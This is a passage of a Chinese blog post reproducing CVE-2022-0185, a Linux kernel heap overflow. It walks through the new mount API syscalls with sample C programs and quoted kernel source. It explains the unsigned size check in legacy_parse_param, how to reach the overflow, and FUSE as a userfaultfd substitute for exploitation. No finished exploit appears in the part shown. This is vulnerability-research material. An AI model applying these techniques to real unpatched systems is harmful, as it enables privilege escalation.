CVE-2022-0185复现
196082 慢慢好起来

前言

其实并不是很想复现这个洞,但是在前些天fmyy告诉了我一个利用方式fuse,虽然他也给我推荐了对应的CVE,不过我更加愿意看墨晚鸢佬的博客。这个CVE复现结束之后应该会有很长一段时间不会继续复现CVE了,后续的打算是更多的学习kernel fuzz

https://www.willsroot.io/2022/01/cve-2022-0185.html 这里是这个CVE发现者的文章,里面提到了其是被syzkaller给fuzz出来的。

Filesystem mount API 分析

在Linux下的文件系统的挂载,mount 系统调用被用以将文件系统挂载到以 / 为根节点的文件树上,例如我们可以用如下命令挂载硬盘 /dev/sdb1/mnt/temp 目录下,之后就能在该目录下进行文件访问:

BASH
1
sudo mount /dev/sdb1 /mnt/temp
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <sys/mount.h>

int main(int argc, char **argv, char **envp)
{
if (argc < 4) {
puts("[-] Usage: moount {dev_path} {mount_point} {fs_type}")
}

if (mount(argv[1], argv[2], argv[3], 0, NULL)) {
printf("[x] Failed to mount %s at %s by file system type: %s!\n",
argv[1], argv[2], argv[3]);
} else {
printf("[+] Successful to mount %s at %s by file system type: %s.\n",
argv[1], argv[2], argv[3]);
}

return 0;
}

然而新的mount API将上面的一个简单的mount系统调用的功能拆分成了多个新的系统调用,多个系统调用分别对应了不同文件系统挂载阶段。

fsopen

在Linux中一直秉持着一切皆文件的思想,在新的mount API中也有对应的映照,首先则是fsopen就类似于open系统调用,其用于打开一个文件系统,并返回一个文件系统描述符(称为文件系统上下文)。

由于标准库中还未添加其相关代码,因此需要手写raw syscall来进行相关的系统调用,例如我们可以使用如下代码打开一个空白的 ext4 文件系统上下文(需要 CAP_SYS_ADMIN 权限,或是开启了 unprivileged namespace 的情况下使用 unshare() 系统调用创建带有该权限的 namespace):

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int main(int argc, char **argv, char **envp)
{
int fs_fd;

fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
puts("[x] FAILED to fsopen!");
return -1;
}
printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);

return 0;
}

这里创建的是一个空白的文件系统上下文,并没有与任何的实际设备进行关联。

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
SYSCALL_DEFINE2(fsopen, const char __user *, _fs_name, unsigned int, flags)
{
struct file_system_type *fs_type;
struct fs_context *fc;
const char *fs_name;
int ret;

if (!ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN))
return -EPERM;

if (flags & ~FSOPEN_CLOEXEC)
return -EINVAL;

fs_name = strndup_user(_fs_name, PAGE_SIZE);
if (IS_ERR(fs_name))
return PTR_ERR(fs_name);

fs_type = get_fs_type(fs_name);
kfree(fs_name);
if (!fs_type)
return -ENODEV;

fc = fs_context_for_mount(fs_type, 0);
put_filesystem(fs_type);
if (IS_ERR(fc))
return PTR_ERR(fc);

fc->phase = FS_CONTEXT_CREATE_PARAMS;

ret = fscontext_alloc_log(fc);
if (ret < 0)
goto err_fc;

return fscontext_create_fd(fc, flags & FSOPEN_CLOEXEC ? O_CLOEXEC : 0);

err_fc:
put_fs_context(fc);
return ret;
}

在内核中调用fsopen的会进入到如上函数,最终会在fscontext_create_fd函数创建一个file结构体,并且返回文件描述符。

fscontext_alloc_log通过名字可以看出来这里分配的是用于log的内存。

fs_context_for_mount这个函数的返回值的类型为fs_context,其作用也就是创建一个文件系统上下文结构体。

strndup_user函数则是获取用户态传入的文件系统名,get_fs_type这里是获取其type

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/*
* Filesystem context for holding the parameters used in the creation or
* reconfiguration of a superblock.
*
* Superblock creation fills in ->root whereas reconfiguration begins with this
* already set.
*
* See Documentation/filesystems/mount_api.txt
*/
struct fs_context {
const struct fs_context_operations *ops;
struct mutex uapi_mutex; /* Userspace access mutex */
struct file_system_type *fs_type;
void *fs_private; /* The filesystem's context */
void *sget_key;
struct dentry *root; /* The root and superblock */
struct user_namespace *user_ns; /* The user namespace for this mount */
struct net *net_ns; /* The network namespace for this mount */
const struct cred *cred; /* The mounter's credentials */
struct fc_log *log; /* Logging buffer */
const char *source; /* The source name (eg. dev path) */
void *security; /* Linux S&M options */
void *s_fs_info; /* Proposed s_fs_info */
unsigned int sb_flags; /* Proposed superblock flags (SB_*) */
unsigned int sb_flags_mask; /* Superblock flags that were changed */
unsigned int s_iflags; /* OR'd with sb->s_iflags */
unsigned int lsm_flags; /* Information flags from the fs to the LSM */
enum fs_context_purpose purpose:8;
enum fs_context_phase phase:8; /* The phase the context is in */
bool need_free:1; /* Need to call ops->free() */
bool global:1; /* Goes into &init_user_ns */
};

上面是fs_context结构体的定义,前面提到其是通过fs_context_for_mount函数申请的,这个函数内部是直接调用了alloc_fs_context函数

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/**
* alloc_fs_context - Create a filesystem context.
* @fs_type: The filesystem type.
* @reference: The dentry from which this one derives (or NULL)
* @sb_flags: Filesystem/superblock flags (SB_*)
* @sb_flags_mask: Applicable members of @sb_flags
* @purpose: The purpose that this configuration shall be used for.
*
* Open a filesystem and create a mount context. The mount context is
* initialised with the supplied flags and, if a submount/automount from
* another superblock (referred to by @reference) is supplied, may have
* parameters such as namespaces copied across from that superblock.
*/
static struct fs_context *alloc_fs_context(struct file_system_type *fs_type,
struct dentry *reference,
unsigned int sb_flags,
unsigned int sb_flags_mask,
enum fs_context_purpose purpose)
{
int (*init_fs_context)(struct fs_context *);
struct fs_context *fc;
int ret = -ENOMEM;

fc = kzalloc(sizeof(struct fs_context), GFP_KERNEL);
if (!fc)
return ERR_PTR(-ENOMEM);

fc->purpose = purpose;
fc->sb_flags = sb_flags;
fc->sb_flags_mask = sb_flags_mask;
fc->fs_type = get_filesystem(fs_type);
fc->cred = get_current_cred();
fc->net_ns = get_net(current->nsproxy->net_ns);

mutex_init(&fc->uapi_mutex);

switch (purpose) {
case FS_CONTEXT_FOR_MOUNT:
fc->user_ns = get_user_ns(fc->cred->user_ns);
break;
case FS_CONTEXT_FOR_SUBMOUNT:
fc->user_ns = get_user_ns(reference->d_sb->s_user_ns);
break;
case FS_CONTEXT_FOR_RECONFIGURE:
atomic_inc(&reference->d_sb->s_active);
fc->user_ns = get_user_ns(reference->d_sb->s_user_ns);
fc->root = dget(reference);
break;
}

/* TODO: Make all filesystems support this unconditionally */
init_fs_context = fc->fs_type->init_fs_context;
if (!init_fs_context)
init_fs_context = legacy_init_fs_context;

ret = init_fs_context(fc);
if (ret < 0)
goto err_fc;
fc->need_free = true;
return fc;

err_fc:
put_fs_context(fc);
return ERR_PTR(ret);
}

首先这里通过kzalloc函数分配一个堆块给到了fs_context结构体,后续设置其对应的属性,接着设置其命名空间,最后则是进行初始化。

在完成了前面的操作之后,最终进行具体文件系统对应初始化工作的其实是调用 file_system_type 中的 init_fs_context 函数指针对应的函数完成的,这里我们可以看到对于未设置 init_fs_context 的文件系统类型而言其最终会调用 legacy_init_fs_context() 进行初始化

C
1
2
3
4
5
6
7
8
static int legacy_init_fs_context(struct fs_context *fc)
{
fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
if (!fc->fs_private)
return -ENOMEM;
fc->ops = &legacy_fs_context_ops;
return 0;
}

这里的主要操作是给fs_context->fs_private分配legacy_fs_context结构体,并赋值其ops为legacy_fs_context_ops

C
1
2
3
4
5
struct legacy_fs_context {
char *legacy_data; /* Data page for legacy filesystems */
size_t data_size;
enum legacy_fs_param param_type;
};

结构体定义如上,标识了一块指定长度与类型的缓冲区。

fsconfig

在完成了空白的文件系统上下文的创建之后,我们还需要对其进行相应的配置,以便于后续的挂载操作,这个配置的功能对应到的就是 fsconfig() 系统调用

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/mount.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd, const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

int main(int argc, char **argv, char **envp)
{
int fs_fd;

fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
puts("[x] FAILED to fsopen!");
return -1;
}
printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);

fsconfig(fs_fd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
fsconfig(fs_fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);

return 0;
}

fsconfig() 系统调用根据不同的 cmd 进行不同的操作,对于挂载文件系统而言其核心操作主要就是两个 cmd:

  • FSCONFIG_SET_STRING :设置不同的键值对参数
  • FSCONFIG_CMD_CREATE:获得一个 superblock 并创建一个 root entry

示例用法如上所示,这里创建了一个键值对 "source"=/dev/sdb1 表示文件系统源所在的设备名

在内核中也是fsconfig的实现也是比较长,主要根据不同的cmd进入到不同的swith分支

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
SYSCALL_DEFINE5(fsconfig,
int, fd,
unsigned int, cmd,
const char __user *, _key,
const void __user *, _value,
int, aux)
{
struct fs_context *fc;
struct fd f;
int ret;

struct fs_parameter param = {
.type = fs_value_is_undefined,
};

if (fd < 0)
return -EINVAL;

switch (cmd) {
case FSCONFIG_SET_FLAG:
if (!_key || _value || aux)
return -EINVAL;
break;
case FSCONFIG_SET_STRING:
if (!_key || !_value || aux)
return -EINVAL;
break;
case FSCONFIG_SET_BINARY:
if (!_key || !_value || aux <= 0 || aux > 1024 * 1024)
return -EINVAL;
break;
case FSCONFIG_SET_PATH:
case FSCONFIG_SET_PATH_EMPTY:
if (!_key || !_value || (aux != AT_FDCWD && aux < 0))
return -EINVAL;
break;
case FSCONFIG_SET_FD:
if (!_key || _value || aux < 0)
return -EINVAL;
break;
case FSCONFIG_CMD_CREATE:
case FSCONFIG_CMD_RECONFIGURE:
if (_key || _value || aux)
return -EINVAL;
break;
default:
return -EOPNOTSUPP;
}

f = fdget(fd);
if (!f.file)
return -EBADF;
ret = -EINVAL;
if (f.file->f_op != &fscontext_fops)
goto out_f;

fc = f.file->private_data;
if (fc->ops == &legacy_fs_context_ops) {
switch (cmd) {
case FSCONFIG_SET_BINARY:
case FSCONFIG_SET_PATH:
case FSCONFIG_SET_PATH_EMPTY:
case FSCONFIG_SET_FD:
ret = -EOPNOTSUPP;
goto out_f;
}
}

if (_key) {
param.key = strndup_user(_key, 256);
if (IS_ERR(param.key)) {
ret = PTR_ERR(param.key);
goto out_f;
}
}

switch (cmd) {
case FSCONFIG_SET_FLAG:
param.type = fs_value_is_flag;
break;
case FSCONFIG_SET_STRING:
param.type = fs_value_is_string;
param.string = strndup_user(_value, 256);
if (IS_ERR(param.string)) {
ret = PTR_ERR(param.string);
goto out_key;
}
param.size = strlen(param.string);
break;
case FSCONFIG_SET_BINARY:
param.type = fs_value_is_blob;
param.size = aux;
param.blob = memdup_user_nul(_value, aux);
if (IS_ERR(param.blob)) {
ret = PTR_ERR(param.blob);
goto out_key;
}
break;
case FSCONFIG_SET_PATH:
param.type = fs_value_is_filename;
param.name = getname_flags(_value, 0, NULL);
if (IS_ERR(param.name)) {
ret = PTR_ERR(param.name);
goto out_key;
}
param.dirfd = aux;
param.size = strlen(param.name->name);
break;
case FSCONFIG_SET_PATH_EMPTY:
param.type = fs_value_is_filename_empty;
param.name = getname_flags(_value, LOOKUP_EMPTY, NULL);
if (IS_ERR(param.name)) {
ret = PTR_ERR(param.name);
goto out_key;
}
param.dirfd = aux;
param.size = strlen(param.name->name);
break;
case FSCONFIG_SET_FD:
param.type = fs_value_is_file;
ret = -EBADF;
param.file = fget(aux);
if (!param.file)
goto out_key;
break;
default:
break;
}

ret = mutex_lock_interruptible(&fc->uapi_mutex);
if (ret == 0) {
ret = vfs_fsconfig_locked(fc, cmd, &param);
mutex_unlock(&fc->uapi_mutex);
}

/* Clean up the our record of any value that we obtained from
* userspace. Note that the value may have been stolen by the LSM or
* filesystem, in which case the value pointer will have been cleared.
*/
switch (cmd) {
case FSCONFIG_SET_STRING:
case FSCONFIG_SET_BINARY:
kfree(param.string);
break;
case FSCONFIG_SET_PATH:
case FSCONFIG_SET_PATH_EMPTY:
if (param.name)
putname(param.name);
break;
case FSCONFIG_SET_FD:
if (param.file)
fput(param.file);
break;
default:
break;
}
out_key:
kfree(param.key);
out_f:
fdput(f);
return ret;
}

在前面主要操作是对参数进行各种检测,紧接着获取到文件描述符,接着获取fs_config,随后拷贝key字段到内核中,最终根据不同的cmd进入switch

C
1
2
3
4
5
6
7
8
9
case FSCONFIG_SET_STRING:
param.type = fs_value_is_string;
param.string = strndup_user(_value, 256);
if (IS_ERR(param.string)) {
ret = PTR_ERR(param.string);
goto out_key;
}
param.size = strlen(param.string);
break;

这里主要关注这一个分支,在分支中设置完param之后进入后续流程,最终进入到vfs_fsconfig_locked函数进行处理。

fsmount

完成了文件系统上下文的创建与配置,接下来终于来到文件系统的挂载操作了,fsmount() 系统调用用以获取一个可以被用以进行挂载的挂载实例,并返回一个文件描述符用以下一步的挂载

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/mount.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd, const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

int fsmount(int fsfd, unsigned int flags, unsigned int ms_flags)
{
return syscall(__NR_fsmount, fsfd, flags, ms_flags);
}

int main(int argc, char **argv, char **envp)
{
int fs_fd, mount_fd;

fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
puts("[x] FAILED to fsopen!");
return -1;
}
printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);

fsconfig(fs_fd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
fsconfig(fs_fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);

mount_fd = fsmount(fs_fd, FSMOUNT_CLOEXEC, MOUNT_ATTR_RELATIME);

return 0;
}

move_mount

最后使用move_mount系统调用将挂载实例在挂载点之间移动,对于尚未进行挂载的挂载实例而言,进行挂载的操作便是从空挂载点 "" 移动到对应的挂载点(例如 "/mnt/temp"),此时我们并不需要给出目的挂载点的 fd,而可以使用 AT_FDCWD,引入了 move_mount() 之后,我们最终的一个用以将 "/dev/sdb1""ext4" 文件系统挂载到 "/mnt/temp" 的完整示例程序如下:

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/mount.h>
#include <fcntl.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif

#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd, const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

int fsmount(int fsfd, unsigned int flags, unsigned int ms_flags)
{
return syscall(__NR_fsmount, fsfd, flags, ms_flags);
}

int move_mount(int from_dfd, const char *from_pathname,int to_dfd,
const char *to_pathname, unsigned int flags)
{
return syscall(__NR_move_mount, from_dfd, from_pathname, to_dfd, to_pathname, flags);
}

int main(int argc, char **argv, char **envp)
{
int fs_fd, mount_fd;

fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
puts("[x] FAILED to fsopen!");
return -1;
}
printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);

fsconfig(fs_fd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
fsconfig(fs_fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);

mount_fd = fsmount(fs_fd, FSMOUNT_CLOEXEC, MOUNT_ATTR_RELATIME);
move_mount(mount_fd, "", AT_FDCWD, "/mnt/temp", MOVE_MOUNT_F_EMPTY_PATH);

return 0;
}

这里介绍几乎就是照抄a3和知乎的文章

漏洞分析

前面提到在fsconfig函数中,最终会调用vfs_fsconfig_locked函数

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
static int vfs_fsconfig_locked(struct fs_context *fc, int cmd,
struct fs_parameter *param)
{
struct super_block *sb;
int ret;

ret = finish_clean_context(fc);
if (ret)
return ret;
switch (cmd) {
case FSCONFIG_CMD_CREATE:
if (fc->phase != FS_CONTEXT_CREATE_PARAMS)
return -EBUSY;
if (!mount_capable(fc))
return -EPERM;
fc->phase = FS_CONTEXT_CREATING;
ret = vfs_get_tree(fc);
if (ret)
break;
sb = fc->root->d_sb;
ret = security_sb_kern_mount(sb);
if (unlikely(ret)) {
fc_drop_locked(fc);
break;
}
up_write(&sb->s_umount);
fc->phase = FS_CONTEXT_AWAITING_MOUNT;
return 0;
case FSCONFIG_CMD_RECONFIGURE:
if (fc->phase != FS_CONTEXT_RECONF_PARAMS)
return -EBUSY;
fc->phase = FS_CONTEXT_RECONFIGURING;
sb = fc->root->d_sb;
if (!ns_capable(sb->s_user_ns, CAP_SYS_ADMIN)) {
ret = -EPERM;
break;
}
down_write(&sb->s_umount);
ret = reconfigure_super(fc);
up_write(&sb->s_umount);
if (ret)
break;
vfs_clean_context(fc);
return 0;
default:
if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
fc->phase != FS_CONTEXT_RECONF_PARAMS)
return -EBUSY;

return vfs_parse_fs_param(fc, param);
}
fc->phase = FS_CONTEXT_FAILED;
return ret;
}

可以看到上述函数中依旧是根据cmd进入不同的swith分支

C
1
2
3
4
5
6
7
8
9
10
enum fsconfig_command {
FSCONFIG_SET_FLAG = 0, /* Set parameter, supplying no value */
FSCONFIG_SET_STRING = 1, /* Set parameter, supplying a string value */
FSCONFIG_SET_BINARY = 2, /* Set parameter, supplying a binary blob value */
FSCONFIG_SET_PATH = 3, /* Set parameter, supplying an object by path */
FSCONFIG_SET_PATH_EMPTY = 4, /* Set parameter, supplying an object by (empty) path */
FSCONFIG_SET_FD = 5, /* Set parameter, supplying an object by fd */
FSCONFIG_CMD_CREATE = 6, /* Invoke superblock creation */
FSCONFIG_CMD_RECONFIGURE = 7, /* Invoke superblock reconfiguration */
};

根据定义,最终会进入到default分支中,最终会调用vfs_parse_fs_param函数

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param)
{
int ret;

if (!param->key)
return invalf(fc, "Unnamed parameter\n");

ret = vfs_parse_sb_flag(fc, param->key);
if (ret != -ENOPARAM)
return ret;

ret = security_fs_context_parse_param(fc, param);
if (ret != -ENOPARAM)
/* Param belongs to the LSM or is disallowed by the LSM; so
* don't pass to the FS.
*/
return ret;

if (fc->ops->parse_param) {
ret = fc->ops->parse_param(fc, param);
if (ret != -ENOPARAM)
return ret;
}

/* If the filesystem doesn't take any arguments, give it the
* default handling of source.
*/
if (strcmp(param->key, "source") == 0) {
if (param->type != fs_value_is_string)
return invalf(fc, "VFS: Non-string source");
if (fc->source)
return invalf(fc, "VFS: Multiple sources");
fc->source = param->string;
param->string = NULL;
return 0;
}

return invalf(fc, "%s: Unknown parameter '%s'",
fc->fs_type->name, param->key);
}
EXPORT_SYMBOL(vfs_parse_fs_param);

而在此函数中会调用到fs_context->ops->parse_param,接着根据前面在legacy_init_fs_context函数中会对fs_context->ops赋值为legacy_fs_context_ops

C
1
2
3
4
5
6
7
8
const struct fs_context_operations legacy_fs_context_ops = {
.free = legacy_fs_context_free,
.dup = legacy_fs_context_dup,
.parse_param = legacy_parse_param,
.parse_monolithic = legacy_parse_monolithic,
.get_tree = legacy_get_tree,
.reconfigure = legacy_reconfigure,
};

根据前面所述,最终会调用到legacy_parse_param函数中。

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size;
size_t len = 0;

if (strcmp(param->key, "source") == 0) {
if (param->type != fs_value_is_string)
return invalf(fc, "VFS: Legacy: Non-string source");
if (fc->source)
return invalf(fc, "VFS: Legacy: Multiple sources");
fc->source = param->string;
param->string = NULL;
return 0;
}

if (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS)
return invalf(fc, "VFS: Legacy: Can't mix monolithic and individual options");

switch (param->type) {
case fs_value_is_string:
len = 1 + param->size;
/* Fall through */
case fs_value_is_flag:
len += strlen(param->key);
break;
default:
return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported",
param->key);
}

if (len > PAGE_SIZE - 2 - size)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
if (!ctx->legacy_data)
return -ENOMEM;
}

ctx->legacy_data[size++] = ',';
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size);
size += param->size;
}
ctx->legacy_data[size] = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}

首先在ctx->data_size中取出已拷贝的大小,随后根据param->type计算出len,若是不存在ctx->legacy_data则会申请一张页面大小,后续则是从param中取出数据写到ctx-legacy_data中去。

可以看到在计算出len之后其实是经过了一次判断的,len > PAGE_SIZE - 2 - size这里就是其表达式,不过存在问题的是在函数开头定义size使用的是unsigned int,所以这个判断就成了无符号类型的判断了,一旦size + 2大于PAGE_SIZE那么这个判断是会一直成立的,从而达到了溢出的效果。

不过这里需要注意的是在前面的fsconfig系统调用实现的函数中在对param进行初始化时使用的是这样一条语句

C
1
param.string = strndup_user(_value, 256);

这里也就限制了我们单次写入的大小只能是0x100个字节,不过可以看到的是在legacy_parse_param函数末尾是又对ctx->data_size进行了赋值并且值的大小为len + sizesize += param->size;,并且后面在拷贝的时候使用的是ctx->legacy_data + size。所以我们想要达到溢出的效果需要将size构造为4095。

前面提到了size最终的值是那两个的和,但其实还存在两个操作会对其做增加操作,也就是在每一条前面都会加上一个","而在key后面都会加上一个"="所以其实写入的最终效果如下

C
1
,key=val

所以每一次拷贝的长度其实是strlen(key) + strlen(val) + 2

漏洞利用

可以预见的是,当我们控制size = 4095时,他会在下一个相邻object写入=以及末尾的一个\x00,所以这里采取的办法是不直接覆盖相邻object的内容,而是直接覆盖掉后一个object的内容。

FUSE

在以往的文章中提到了userfaultfd系统调用,可惜的是在Linux 5.11起就不再能用普通用户进行调用了,然而其实FUSE也是可以达到重样的效果的。

首先简单介绍一下FUSE,即用户空间文件系统,该功能允许非特权用户在用户空间实现一个用户态文件系统,开发者只需要实现对应的文件操作接口就可以在用户空间实现一个文件系统,而不需要重新编译内核,这给开发者提供了相当的便利。

FUSELinux 2.6.14 版本引入,主要由两部分组成:

  • FUSE 内核模块,负责与 kernel 的 VFS 进行交互,并向用户空间实现的文件系统进程暴露 /dev/fuse 块设备接口
  • 用户空间的 libfuse 库 负责向用户程序提供封装好的接口,开发者基于该库进行用户空间文件系统的开发:由一个 FUSE daemon 守护进程负责与内核模块进行交互并进行文件系统的具体操作

FUSE 的基本运行原理如下:

  • FUSE daemon 守护进程通过 libfuse 库的 fuse_main() 注册文件系统与对应的处理函数,并挂载到对应的目录下(例如 /mnt/fuse
  • 用户进程访问挂载点下的文件(例如 /mnt/fuse/file),来到内核中的 VFS 对应 inode 的 inode_operations 中的处理函数,交由 FUSE 内核模块进行处理
  • FUSE 内核模块将请求转换为与用户态 daemon 进程间约定的格式,交由用户态对应的 FUSE daemon 守护进程进行处理
  • FUSE daemon 调用文件系统创建时注册的对应的处理函数,这一步可能会需要访问实际的文件系统
  • FUSE daemon 完成处理,返回结果至 FUSE 内核模块,再经由 VFS 返回给用户进程

这里不过多介绍了,后面就说说基本用法就行了,也和userfaultfd类似,是一个模板。

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
struct fuse_operations {
int (*getattr) (const char *, struct stat *, struct fuse_file_info *fi);
int (*readlink) (const char *, char *, size_t);
int (*mknod) (const char *, mode_t, dev_t);
int (*mkdir) (const char *, mode_t);
/** Remove a file */
int (*unlink) (const char *);
/** Remove a directory */
int (*rmdir) (const char *);
/** Create a symbolic link */
int (*symlink) (const char *, const char *);
int (*rename) (const char *, const char *, unsigned int flags);
int (*link) (const char *, const char *);
int (*chmod) (const char *, mode_t, struct fuse_file_info *fi);
int (*chown) (const char *, uid_t, gid_t, struct fuse_file_info *fi);
int (*truncate) (const char *, off_t, struct fuse_file_info *fi);
int (*open) (const char *, struct fuse_file_info *);
int (*read) (const char *, char *, size_t, off_t,
struct fuse_file_info *);
int (*write) (const char *, const char *, size_t, off_t,
struct fuse_file_info *);
int (*statfs) (const char *, struct statvfs *);
int (*flush) (const char *, struct fuse_file_info *);
int (*release) (const char *, struct fuse_file_info *);
int (*fsync) (const char *, int, struct fuse_file_info *);
int (*setxattr) (const char *, const char *, const char *, size_t, int);
int (*getxattr) (const char *, const char *, char *, size_t);
int (*listxattr) (const char *, char *, size_t);
int (*removexattr) (const char *, const char *);
int (*opendir) (const char *, struct fuse_file_info *);
int (*readdir) (const char *, void *, fuse_fill_dir_t, off_t,
struct fuse_file_info *, enum fuse_readdir_flags);
int (*releasedir) (const char *, struct fuse_file_info *);
int (*fsyncdir) (const char *, int, struct fuse_file_info *);
void *(*init) (struct fuse_conn_info *conn,
struct fuse_config *cfg);
void (*destroy) (void *private_data);
int (*access) (const char *, int);
int (*create) (const char *, mode_t, struct fuse_file_info *);
int (*lock) (const char *, struct fuse_file_info *, int cmd,
struct flock *);
int (*utimens) (const char *, const struct timespec tv[2],
struct fuse_file_info *fi);
int (*bmap) (const char *, size_t blocksize, uint64_t *idx);

#if FUSE_USE_VERSION < 35
int (*ioctl) (const char *, int cmd, void *arg,
struct fuse_file_info *, unsigned int flags, void *data);
#else
int (*ioctl) (const char *, unsigned int cmd, void *arg,
struct fuse_file_info *, unsigned int flags, void *data);
#endif
int (*poll) (const char *, struct fuse_file_info *,
struct fuse_pollhandle *ph, unsigned *reventsp);
int (*write_buf) (const char *, struct fuse_bufvec *buf, off_t off,
struct fuse_file_info *);
int (*read_buf) (const char *, struct fuse_bufvec **bufp,
size_t size, off_t off, struct fuse_file_info *);
int (*flock) (const char *, struct fuse_file_info *, int op);
int (*fallocate) (const char *, int, off_t, off_t,
struct fuse_file_info *);
ssize_t (*copy_file_range) (const char *path_in,
struct fuse_file_info *fi_in,
off_t offset_in, const char *path_out,
struct fuse_file_info *fi_out,
off_t offset_out, size_t size, int flags);
